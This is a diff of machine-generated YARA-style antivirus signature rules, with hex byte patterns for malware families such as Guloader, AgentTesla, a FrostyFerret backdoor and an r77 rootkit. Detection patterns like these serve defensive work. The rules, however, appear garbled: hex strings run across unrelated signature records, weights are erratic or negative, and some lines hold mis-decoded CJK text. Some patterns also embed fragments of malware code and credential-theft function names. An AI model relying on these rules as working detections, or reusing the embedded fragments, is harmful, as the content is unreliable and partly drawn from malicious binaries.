((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27745+(#a_57_2 & 1)*21076+(#a_73_3 & 1)*28274+(#a_64_4 & 1)*27756) >=5 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28192+(#a_57_2 & 1)*21076+(#a_73_3 & 1)*28274+(#a_64_4 & 1)*27756) >=5 } -rule _InfrastructureShared_12955{ +rule _InfrastructureShared_13798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -145343,27 +154953,53 @@ rule _InfrastructureShared_12955{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 53 41 31 32 33 21 4d 54 42 00 01 00 08 81 01 74 72 66 66 65 64 65 73 01 00 1d 81 01 6e 6c 65 20 6b 65 72 6e 65 6f 70 67 61 76 65 72 6e 65 73 20 68 61 6e 64 73 74 61 6e 64 01 00 15 81 01 6e 6f 6e } //18467 $a_73_1 = {6c 61 62 6c 65 20 6d 6f 62 61 62 6c 65 01 00 1e 81 01 6b 6c 61 75 73 75 6c 65 6c 69 6d 69 6e 65 72 69 6e 67 65 72 6e 65 20 64 72 6d 6d 65 72 73 01 00 20 81 01 73 74 72 75 64 73 67 67 65 74 20 73 6b 69 76 76 79 20 72 6e 74 67 65 6e 62 69 6c 6c 65 64 65 73 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f } //28515 $a_6f_2 = {64 65 72 2e 4b 50 4f 46 31 32 33 21 4d 54 42 00 01 00 1c 81 01 69 6e 65 66 66 65 63 74 75 61 6c 6e 65 73 73 20 64 75 65 6c 6c 61 6e 74 65 72 6e 65 01 00 1a 81 01 72 65 6c 69 65 72 20 6a 75 64 61 73 6b 79 73 20 62 65 72 79 63 6f 69 64 65 69 01 00 0c 81 01 70 72 65 73 75 6d 70 74 69 6f 6e 73 01 00 1d 81 01 72 6f 6d 61 6e 74 } //30023 - $a_72_3 = {6e 67 20 6e 61 74 69 6f 6e 61 6c 64 72 61 67 74 65 6e 01 00 19 81 01 6d 6f 6b 6b 61 73 69 6e 65 72 6e 65 73 20 61 73 79 6c 6c 61 62 69 63 61 6c 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 57 69 6e 33 32 2f 44 4e 55 70 64 61 } //29545 - $a_00_4 = {01 00 17 01 4e 6f 52 65 6d 6f 76 65 20 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 01 00 0c 01 4e 6f 52 65 6d 6f 76 65 20 45 78 74 01 00 14 01 4e 6f 52 65 6d 6f 76 65 20 50 72 65 41 70 70 72 6f 76 65 64 01 00 25 03 46 6f 72 63 65 52 65 6d 6f 76 65 20 7b 90 04 24 0a 61 2d 66 41 2d 46 30 2d 39 2d 7d 20 3d 20 73 20 27 27 90 00 01 00 16 01 2e 3f } //25972 + $a_72_3 = {6e 67 20 6e 61 74 69 6f 6e 61 6c 64 72 61 67 74 65 6e 01 00 19 81 01 6d 6f 6b 6b 61 73 69 6e 65 72 6e 65 73 20 61 73 79 6c 6c 61 62 69 63 61 6c 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 4d 30 31 21 4d 54 42 00 01 00 26 81 01 73 79 73 74 } //29545 + $a_65_4 = {65 72 61 6e 63 65 72 20 62 6f 62 73 70 69 6c 6c 65 6e 65 20 73 6b 69 6c 62 65 72 65 73 01 00 0a 81 01 76 72 69 6b 6b 65 76 6f 72 6e 01 00 17 81 01 66 79 72 6b 6c 64 65 72 65 73 20 6f 6f 7a 6f 61 20 61 64 6c 79 64 74 01 00 18 81 01 63 6f 6d 70 6c 65 6d 65 6e 74 61 72 79 20 63 6f 6e 6a 75 67 61 74 65 64 01 00 1b 81 01 62 61 } //28005 condition: - ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28515+(#a_6f_2 & 1)*30023+(#a_72_3 & 1)*29545+(#a_00_4 & 1)*25972) >=5 + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28515+(#a_6f_2 & 1)*30023+(#a_72_3 & 1)*29545+(#a_65_4 & 1)*28005) >=5 } -rule _InfrastructureShared_12956{ +rule _InfrastructureShared_13799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 4f 46 31 32 33 21 4d 54 42 00 01 00 1c 81 01 69 6e 65 66 66 65 63 74 75 61 6c 6e 65 73 73 20 64 75 65 6c 6c 61 6e 74 65 72 6e 65 01 00 1a 81 01 72 65 6c 69 65 72 20 6a 75 64 61 73 6b 79 73 20 62 } //18467 - $a_63_1 = {69 64 65 69 01 00 0c 81 01 70 72 65 73 75 6d 70 74 69 6f 6e 73 01 00 1d 81 01 72 6f 6d 61 6e 74 69 73 65 72 69 6e 67 20 6e 61 74 69 6f 6e 61 6c 64 72 61 67 74 65 6e 01 00 19 81 01 6d 6f 6b 6b 61 73 69 6e 65 72 6e 65 73 20 61 73 79 6c 6c 61 62 69 63 61 6c 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 4c 6f 77 66 69 3a 48 53 54 52 3a 42 72 6f 77 73 65 72 4d 6f 64 69 } //29285 - $a_72_2 = {57 69 6e 33 32 2f 44 4e 55 70 64 61 74 65 72 00 01 00 17 01 4e 6f 52 65 6d 6f 76 65 20 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 01 00 0c 01 4e 6f 52 65 6d 6f 76 65 20 45 78 74 01 00 14 01 4e 6f 52 65 6d 6f 76 65 20 50 72 65 41 70 70 72 6f 76 65 64 01 00 25 03 46 6f 72 63 65 52 65 6d 6f 76 65 20 7b 90 } //26982 - $a_61_3 = {66 41 2d 46 30 2d 39 2d 7d 20 } //9220 fA-F0-9-} - $a_20_4 = {27 90 00 01 00 16 01 2e 3f 41 56 43 64 6e 55 70 64 61 74 65 72 4d 6f 64 75 6c 65 40 40 00 00 78 bb 00 00 05 00 05 00 07 00 21 23 48 53 54 52 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 57 31 00 01 00 1c 80 01 64 78 76 75 6d 72 77 64 79 6c 66 35 38 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 01 00 } //8253 + $a_63_1 = {69 64 65 69 01 00 0c 81 01 70 72 65 73 75 6d 70 74 69 6f 6e 73 01 00 1d 81 01 72 6f 6d 61 6e 74 69 73 65 72 69 6e 67 20 6e 61 74 69 6f 6e 61 6c 64 72 61 67 74 65 6e 01 00 19 81 01 6d 6f 6b 6b 61 73 69 6e 65 72 6e 65 73 20 61 73 79 6c 6c 61 62 69 63 61 6c 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 } //29285 + $a_21_2 = {54 42 00 01 00 26 81 01 73 79 73 74 65 6d 6c 65 76 65 72 61 6e 63 65 72 20 62 6f 62 73 70 69 6c 6c 65 6e 65 20 73 6b 69 6c 62 65 72 65 73 01 00 0a } //12365 + $a_72_3 = {6b 6b 65 76 6f 72 6e 01 00 17 81 01 66 79 72 6b 6c 64 65 72 65 73 20 6f 6f 7a 6f 61 20 61 64 6c 79 64 74 01 00 18 81 01 63 6f 6d 70 6c 65 6d 65 6e 74 61 72 79 20 63 6f 6e 6a 75 67 61 74 65 64 01 00 1b 81 01 62 61 6e 67 68 65 64 65 6e 73 20 62 69 6c 74 69 6c 73 79 6e 65 74 20 68 6f 65 72 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e } //385 + $a_47_4 = {6c 6f 61 64 65 72 2e 4c 52 52 30 31 21 4d 54 42 00 01 00 11 81 01 73 69 6c 6c 6f 67 72 61 70 68 69 73 74 2e 65 78 65 01 00 28 81 01 62 72 65 } //12851 condition: - ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29285+(#a_72_2 & 1)*26982+(#a_61_3 & 1)*9220+(#a_20_4 & 1)*8253) >=5 + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29285+(#a_21_2 & 1)*12365+(#a_72_3 & 1)*385+(#a_47_4 & 1)*12851) >=5 } -rule _InfrastructureShared_12957{ +rule _InfrastructureShared_13800{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 4d 30 31 21 4d 54 42 00 01 00 26 81 01 73 79 73 74 65 6d 6c 65 76 65 72 61 6e 63 65 72 20 62 6f 62 73 70 69 6c 6c 65 6e 65 20 73 6b 69 6c 62 65 72 65 73 01 00 0a 81 01 76 72 69 6b 6b 65 76 6f 72 } //18467 + $a_72_2 = {6c 64 65 72 65 73 20 6f 6f 7a 6f 61 20 61 64 6c 79 64 74 01 00 18 81 01 63 6f 6d 70 6c 65 6d 65 6e 74 61 72 79 20 63 6f 6e 6a 75 67 61 74 65 64 01 00 1b 81 01 62 61 6e 67 68 65 64 65 6e 73 20 62 69 6c 74 69 6c 73 79 6e 65 74 20 68 6f 65 72 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 52 30 31 21 4d } //26113 + $a_01_4 = {73 69 6c 6c 6f 67 72 61 70 68 69 73 74 2e 65 78 65 01 00 28 81 01 62 72 65 61 73 74 70 6c 6f 77 20 68 75 6c 6b 6f 72 74 69 6e 64 6c 61 65 73 65 72 20 70 73 79 63 68 6f 64 72 61 6d 61 73 01 00 10 81 01 73 71 75 61 62 62 6c 79 20 70 6f 74 61 67 65 73 01 00 22 81 01 61 74 6f 6d 6b 72 69 67 20 74 6e 64 73 74 69 6b 73 6b 65 72 6e 65 73 20 65 70 73 69 6c 6f 6e 65 72 73 01 00 0f 81 01 62 72 } //4352 + condition: + ((#a_54_0 & 1)*18467+(#a_72_2 & 1)*26113+(#a_01_4 & 1)*4352) >=5 + +} +rule _InfrastructureShared_13801{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 52 52 30 31 21 4d 54 42 00 01 00 11 81 01 73 69 6c 6c 6f 67 72 61 70 68 69 73 74 2e 65 78 65 01 00 28 81 01 62 72 65 61 73 74 70 6c 6f 77 20 68 75 6c 6b 6f 72 74 69 6e 64 6c 61 65 73 65 72 20 70 73 } //18467 + $a_6f_1 = {72 61 6d 61 73 01 00 10 81 01 73 71 75 61 62 62 6c 79 20 70 6f 74 61 67 65 73 01 00 22 81 01 61 74 6f 6d 6b 72 69 67 20 74 6e 64 73 74 69 6b 73 6b 65 72 6e 65 73 20 65 70 73 69 6c 6f 6e 65 72 73 01 00 0f 81 01 62 72 6e 65 6f 70 73 70 61 72 69 6e 67 65 72 00 00 78 bb 00 00 05 00 05 00 05 00 21 23 4c 6f 77 66 69 } //25465 + $a_54_2 = {3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 57 69 6e 33 32 2f 44 4e 55 70 64 61 74 65 72 00 01 00 17 01 4e 6f 52 65 6d 6f 76 65 20 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 01 00 0c 01 4e 6f 52 65 6d 6f 76 65 20 45 78 74 01 00 14 01 4e 6f 52 } //18490 + $a_76_3 = {20 50 72 65 41 70 70 72 6f 76 65 64 01 00 25 03 46 6f 72 63 65 52 65 6d 6f 76 65 20 7b 90 04 24 0a 61 2d 66 41 2d 46 30 2d 39 2d 7d 20 3d 20 73 20 27 27 90 00 01 00 16 01 2e 3f 41 56 43 64 6e 55 70 64 61 74 65 72 4d 6f 64 75 6c 65 40 40 00 00 78 bb 00 00 05 00 05 00 07 00 21 23 48 53 54 52 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a } //28005 + $a_33_4 = {2f 4f 66 66 65 72 43 6f 72 65 2e 57 31 00 01 00 1c 80 01 64 78 76 75 6d 72 77 64 79 6c 66 35 38 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 01 00 0d 80 01 72 69 73 65 63 6f 64 65 73 2e 63 6f 6d 01 00 0c 80 01 43 52 45 41 54 45 4f 46 46 45 52 53 01 00 0e 80 01 65 6c 69 67 69 62 6c 65 5f 6f 66 66 65 72 01 00 0f 80 01 4f 66 66 65 } //26967 + condition: + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25465+(#a_54_2 & 1)*18490+(#a_76_3 & 1)*28005+(#a_33_4 & 1)*26967) >=5 + +} +rule _InfrastructureShared_13802{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -145377,7 +155013,7 @@ rule _InfrastructureShared_12957{ ((#a_77_0 & 1)*19491+(#a_65_1 & 1)*29295+(#a_72_2 & 1)*17266+(#a_80_3 & 1)*-100+(#a_80_4 & 1)*-100) >=5 } -rule _InfrastructureShared_12958{ +rule _InfrastructureShared_13803{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -145385,14 +155021,14 @@ rule _InfrastructureShared_12958{ $a_54_0 = {3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 57 31 00 01 00 1c 80 01 64 78 76 75 6d 72 77 64 79 6c 66 35 38 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 01 00 0d 80 01 72 69 73 65 63 6f 64 65 73 2e 63 6f } //18467 $a_52_2 = {41 54 45 4f 46 46 45 52 53 01 00 0e 80 01 65 6c 69 67 69 62 6c 65 5f 6f 66 66 65 72 01 00 0f 80 01 4f 66 66 65 72 44 69 73 63 6c 61 69 6d 65 72 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 } //384 $a_69_3 = {73 74 61 6c 6c 2e 65 78 65 00 00 78 bb 00 00 05 00 05 00 08 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 48 4d 52 31 33 00 01 00 0c 80 01 53 6b 69 6e 49 6e 73 74 2e 65 78 65 01 00 08 80 01 77 6e 77 62 2e 65 78 65 01 00 11 80 01 5a 68 69 4e 65 6e 67 50 59 49 6e 66 6f 2e 69 6e 69 01 00 12 80 01 } //21761 - $a_4e_4 = {6e 67 50 59 49 4d 45 2e 75 73 65 72 73 01 00 0f 80 01 5a 68 69 4e 65 6e 67 50 59 53 74 61 74 75 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 bb 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 50 55 } //26714 - $a_76_5 = {72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 46 6c 61 73 68 48 65 6c 70 65 72 2e 6e 68 31 00 01 00 0a 80 01 73 68 6f 77 6f 66 66 65 72 73 01 00 1c 80 01 66 6c 61 73 68 70 6c 61 79 65 72 70 70 5f 69 6e 73 74 61 6c 6c 5f 63 6e 2e 65 78 65 01 00 1e 80 01 46 6c 61 73 68 48 65 6c 70 65 72 53 65 72 76 69 63 } //16705 - $a_65_6 = {65 61 73 65 2e 70 64 62 01 00 11 80 01 46 6c 61 73 68 50 6c 61 79 65 72 50 65 70 70 65 72 01 00 0b 80 01 46 6c 61 73 68 48 65 6c 70 65 72 01 00 0a 80 01 4d 61 63 72 6f 6d 65 64 69 61 00 00 78 bb 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 4b 65 79 6c 6f 67 67 65 72 2e 53 56 21 4d 54 42 00 01 00 15 } //24421 + $a_4e_4 = {6e 67 50 59 49 4d 45 2e 75 73 65 72 73 01 00 0f 80 01 5a 68 69 4e 65 6e 67 50 59 53 74 61 74 75 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 bb 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 } //26714 + $a_6e_5 = {57 69 6e 36 34 2f 4d 69 6b 65 79 2e 41 48 42 21 4d 54 42 00 03 00 2d 01 4b 8b 84 e7 10 08 02 00 4c 8b 45 b7 4c 2b c6 42 0f b6 4c f0 3e 46 0f be bc 39 d0 f8 01 00 41 ff c7 45 8b ef 44 2b ea 4d 63 dd 4d 3b d8 02 00 24 01 4b 8b 8c e0 10 08 02 00 ff c3 89 5d 9b 42 88 44 f1 3e 4b 8b 84 e0 10 08 } //27247 + $a_80_6 = {f0 3d 04 38 55 8f e9 01 00 35 01 72 6f 6f 74 6b 69 74 5c 72 37 37 2d 72 6f 6f 74 6b 69 74 2d 6d 61 73 74 65 72 5c 76 73 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 72 37 37 2d 78 36 34 2e 70 64 62 00 00 } //�=8U�� 2 condition: - ((#a_54_0 & 1)*18467+(#a_52_2 & 1)*384+(#a_69_3 & 1)*21761+(#a_4e_4 & 1)*26714+(#a_76_5 & 1)*16705+(#a_65_6 & 1)*24421) >=5 + ((#a_54_0 & 1)*18467+(#a_52_2 & 1)*384+(#a_69_3 & 1)*21761+(#a_4e_4 & 1)*26714+(#a_6e_5 & 1)*27247+(#a_80_6 & 1)*2) >=5 } -rule _InfrastructureShared_12959{ +rule _InfrastructureShared_13804{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -145400,14 +155036,26 @@ rule _InfrastructureShared_12959{ $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 48 4d 52 31 33 00 01 00 0c 80 01 53 6b 69 6e 49 6e 73 74 2e 65 78 65 01 00 08 80 01 77 6e 77 62 2e 65 78 65 01 00 11 80 01 5a 68 69 4e 65 6e 67 50 59 49 6e 66 6f 2e 69 } //16675 $a_00_1 = {12 } //26990 $a_68_2 = {4e 65 6e 67 50 59 49 4d 45 2e 75 73 65 72 73 01 00 0f 80 01 5a 68 69 4e 65 6e 67 50 59 53 74 61 74 75 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 } //384 - $a_41_5 = {46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 46 6c 61 73 68 48 65 6c 70 65 72 2e } //8448 F:PUAAdvertising:Win32/FlashHelper. - $a_00_6 = {01 00 0a 80 01 73 68 6f 77 6f 66 66 65 72 73 01 00 1c 80 01 66 6c 61 73 68 70 6c 61 79 65 72 70 70 5f 69 6e 73 74 61 6c 6c 5f 63 6e 2e 65 78 65 01 } //26734 - $a_01_7 = {46 6c 61 73 68 48 65 6c 70 65 72 53 65 72 76 69 63 65 5f 72 65 6c 65 61 73 65 2e 70 64 62 01 00 11 80 01 46 6c 61 73 68 50 6c 61 79 65 72 50 65 70 70 65 72 01 00 0b 80 01 46 6c 61 73 68 48 65 6c 70 65 72 01 00 0a 80 01 4d 61 63 72 6f 6d 65 64 69 61 00 00 78 bb 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 4b 65 79 6c 6f 67 67 65 72 2e 53 56 } //7680 + $a_54_5 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 41 48 42 21 4d 54 42 00 03 00 2d 01 4b 8b } //8448 + $a_08_6 = {02 00 4c 8b 45 b7 4c 2b c6 42 0f b6 4c f0 3e 46 } //-6268 + $a_39_7 = {f8 01 00 41 ff c7 45 8b ef 44 2b ea 4d 63 dd 4d 3b d8 02 00 24 01 4b 8b 8c e0 10 08 02 00 ff c3 89 5d 9b 42 88 44 f1 3e 4b 8b 84 e0 10 08 02 00 42 80 4c f0 3d 04 38 55 8f e9 01 00 35 01 72 6f 6f 74 6b 69 74 5c 72 37 37 2d 72 6f 6f 74 6b 69 74 2d 6d 61 73 74 65 72 5c 76 73 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 72 37 37 2d 78 36 34 2e 70 64 62 00 00 78 bb 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 46 6c 61 73 68 48 65 6c 70 65 72 2e 6e 68 31 00 01 00 0a 80 01 73 68 6f 77 6f 66 66 65 72 73 01 00 1c } //-16881 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*26990+(#a_68_2 & 1)*384+(#a_41_5 & 1)*8448+(#a_00_6 & 1)*26734+(#a_01_7 & 1)*7680) >=5 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*26990+(#a_68_2 & 1)*384+(#a_54_5 & 1)*8448+(#a_08_6 & 1)*-6268+(#a_39_7 & 1)*-16881) >=5 } -rule _InfrastructureShared_12960{ +rule _InfrastructureShared_13805{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 41 48 42 21 4d 54 42 00 03 00 2d 01 4b 8b 84 e7 10 08 02 00 4c 8b 45 b7 4c 2b c6 42 0f b6 4c f0 3e 46 0f be bc 39 d0 f8 01 00 41 ff c7 45 8b ef 44 2b } //21539 + $a_dd_1 = {3b d8 02 00 24 01 4b 8b 8c e0 10 08 02 00 ff c3 89 5d 9b 42 88 44 f1 3e 4b 8b 84 e0 10 08 02 00 42 80 4c f0 3d 04 38 55 8f e9 01 00 35 01 72 6f 6f 74 6b 69 74 5c 72 37 37 2d 72 6f 6f 74 6b 69 74 2d 6d 61 73 74 65 72 5c 76 73 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 72 37 37 2d 78 36 34 2e 70 64 62 } //19946 + $a_bb_2 = {00 06 00 06 00 06 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 46 6c 61 73 68 48 65 6c 70 65 72 2e 6e 68 31 00 01 00 0a 80 01 73 68 6f 77 6f 66 66 65 72 73 01 00 1c 80 01 66 6c 61 73 68 70 6c 61 79 65 72 70 70 5f 69 6e 73 74 61 6c 6c 5f 63 6e 2e 65 78 65 01 00 1e 80 01 46 6c 61 73 68 48 65 6c 70 65 72 53 65 72 76 69 63 } //0 + condition: + ((#a_4c_0 & 1)*21539+(#a_dd_1 & 1)*19946+(#a_bb_2 & 1)*0) >=6 + +} +rule _InfrastructureShared_13806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -145420,22 +155068,35 @@ rule _InfrastructureShared_12960{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27756+(#a_41_4 & 1)*8448+(#a_01_5 & 1)*5376) >=6 } -rule _InfrastructureShared_12961{ +rule _InfrastructureShared_13807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 53 70 79 3a 4d 53 49 4c 2f 4b 65 79 6c 6f 67 67 65 72 2e 53 56 21 4d 54 42 00 01 00 15 80 01 66 69 6c 65 6c 69 73 74 5f 66 69 6e 69 73 68 65 64 2e 74 78 74 01 00 11 80 01 5c 74 65 6d 70 5c 72 65 71 75 65 73 74 } //16675 $a_70_1 = {00 14 80 01 72 65 71 75 65 73 74 5f 66 69 6e 69 73 68 65 64 2e 74 78 74 01 00 11 80 01 5c 74 65 6d 70 5c 72 65 71 75 65 73 74 2e 74 78 74 01 00 14 80 01 72 6f 6e 65 73 6a 6f 6e 65 73 40 67 6d 61 69 6c 2e 63 6f 6d 01 00 10 80 01 52 65 6c 65 61 73 65 5c 74 65 73 74 2e 70 64 62 00 00 78 bb 00 00 06 00 06 00 06 00 21 } //31278 - $a_54_2 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 33 37 32 21 4d 54 42 00 01 00 0b 81 01 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 09 81 01 42 } //18467 - $a_6b_3 = {6f 70 79 01 00 25 81 01 24 65 61 30 31 64 63 65 37 2d 64 64 37 62 2d 34 32 64 33 2d 62 66 66 66 2d 62 38 65 65 39 66 33 30 34 64 31 39 01 00 0e 81 01 47 65 74 4f 62 6a 65 63 74 56 61 6c 75 65 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 00 00 78 bb 00 00 06 00 06 00 06 00 21 23 } //28524 - $a_52_4 = {57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 58 58 58 31 32 33 21 4d 54 42 00 01 00 22 81 01 67 65 72 20 6f 6d 73 74 69 6c 6c 69 6e 67 73 62 6f 72 64 20 6c 72 72 65 64 73 62 6c 75 73 65 72 6e 65 01 00 0c 81 01 73 70 6c 65 6e 69 7a 61 74 69 6f 6e 01 } //21320 - $a_01_5 = {61 75 63 61 6e 69 61 6e 01 00 07 81 01 61 64 6f 72 6e 65 72 01 00 2a 81 01 63 72 79 70 74 6f 67 61 6d 69 63 61 6c 20 75 6e 63 68 61 6e 67 65 61 62 6c 65 6e 65 73 73 20 63 61 6d 70 75 73 65 72 6e 65 73 01 00 0c 81 01 72 75 73 20 6c 6f 76 6c 69 67 65 73 00 00 78 bb 00 00 07 00 07 00 06 00 21 23 48 53 54 52 3a 47 6f 70 68 65 2e 41 31 00 05 00 20 80 01 4f 75 74 6c 6f 6f 6b 2d 41 64 64 69 } //2048 + $a_46_2 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 46 72 6f 73 74 79 46 65 72 72 65 74 2e 41 21 64 68 61 00 03 00 14 01 41 75 74 6f 4d 6f 64 65 47 61 74 68 65 72 43 68 72 6f 6d 65 03 00 14 01 41 75 74 6f 4d 6f 64 65 43 6f 6f } //16675 剅䈺捡摫潯㩲楗㙮⼴牆獯祴敆牲瑥䄮搡慨̀᐀䄁瑵䵯摯䝥瑡敨䍲牨浯ͥ᐀䄁瑵䵯摯䍥潯 + $a_43_3 = {72 6f 6d 65 03 00 1b 01 41 75 74 6f 4d 6f 64 65 43 68 72 6f 6d 65 43 68 61 6e 67 65 50 72 6f 66 69 6c 65 01 00 14 01 70 72 6f 63 65 73 73 4c 6f 67 69 6e 44 61 74 61 46 69 6c 65 01 00 0d 01 67 65 74 55 73 65 44 61 74 61 44 69 72 01 00 0c 01 48 74 78 70 45 78 63 68 61 6e 67 65 00 00 78 bb 00 00 06 00 06 } //26987 + $a_52_5 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 33 37 32 21 4d 54 42 00 01 00 0b 81 01 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 09 81 01 42 6c 6f } //21320 condition: - ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*31278+(#a_54_2 & 1)*18467+(#a_6b_3 & 1)*28524+(#a_52_4 & 1)*21320+(#a_01_5 & 1)*2048) >=6 + ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*31278+(#a_46_2 & 1)*16675+(#a_43_3 & 1)*26987+(#a_52_5 & 1)*21320) >=6 } -rule _InfrastructureShared_12962{ +rule _InfrastructureShared_13808{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 46 72 6f 73 74 79 46 65 72 72 65 74 2e 41 21 64 68 61 00 03 00 14 01 41 75 74 6f 4d 6f 64 65 47 61 74 68 65 72 43 68 72 6f 6d 65 03 00 14 01 41 75 74 6f 4d 6f 64 65 43 6f 6f } //16675 剅䈺捡摫潯㩲楗㙮⼴牆獯祴敆牲瑥䄮搡慨̀᐀䄁瑵䵯摯䝥瑡敨䍲牨浯ͥ᐀䄁瑵䵯摯䍥潯 + $a_43_1 = {72 6f 6d 65 03 00 1b 01 41 75 74 6f 4d 6f 64 65 43 68 72 6f 6d 65 43 68 61 6e 67 65 50 72 6f 66 69 6c 65 01 00 14 01 70 72 6f 63 65 73 73 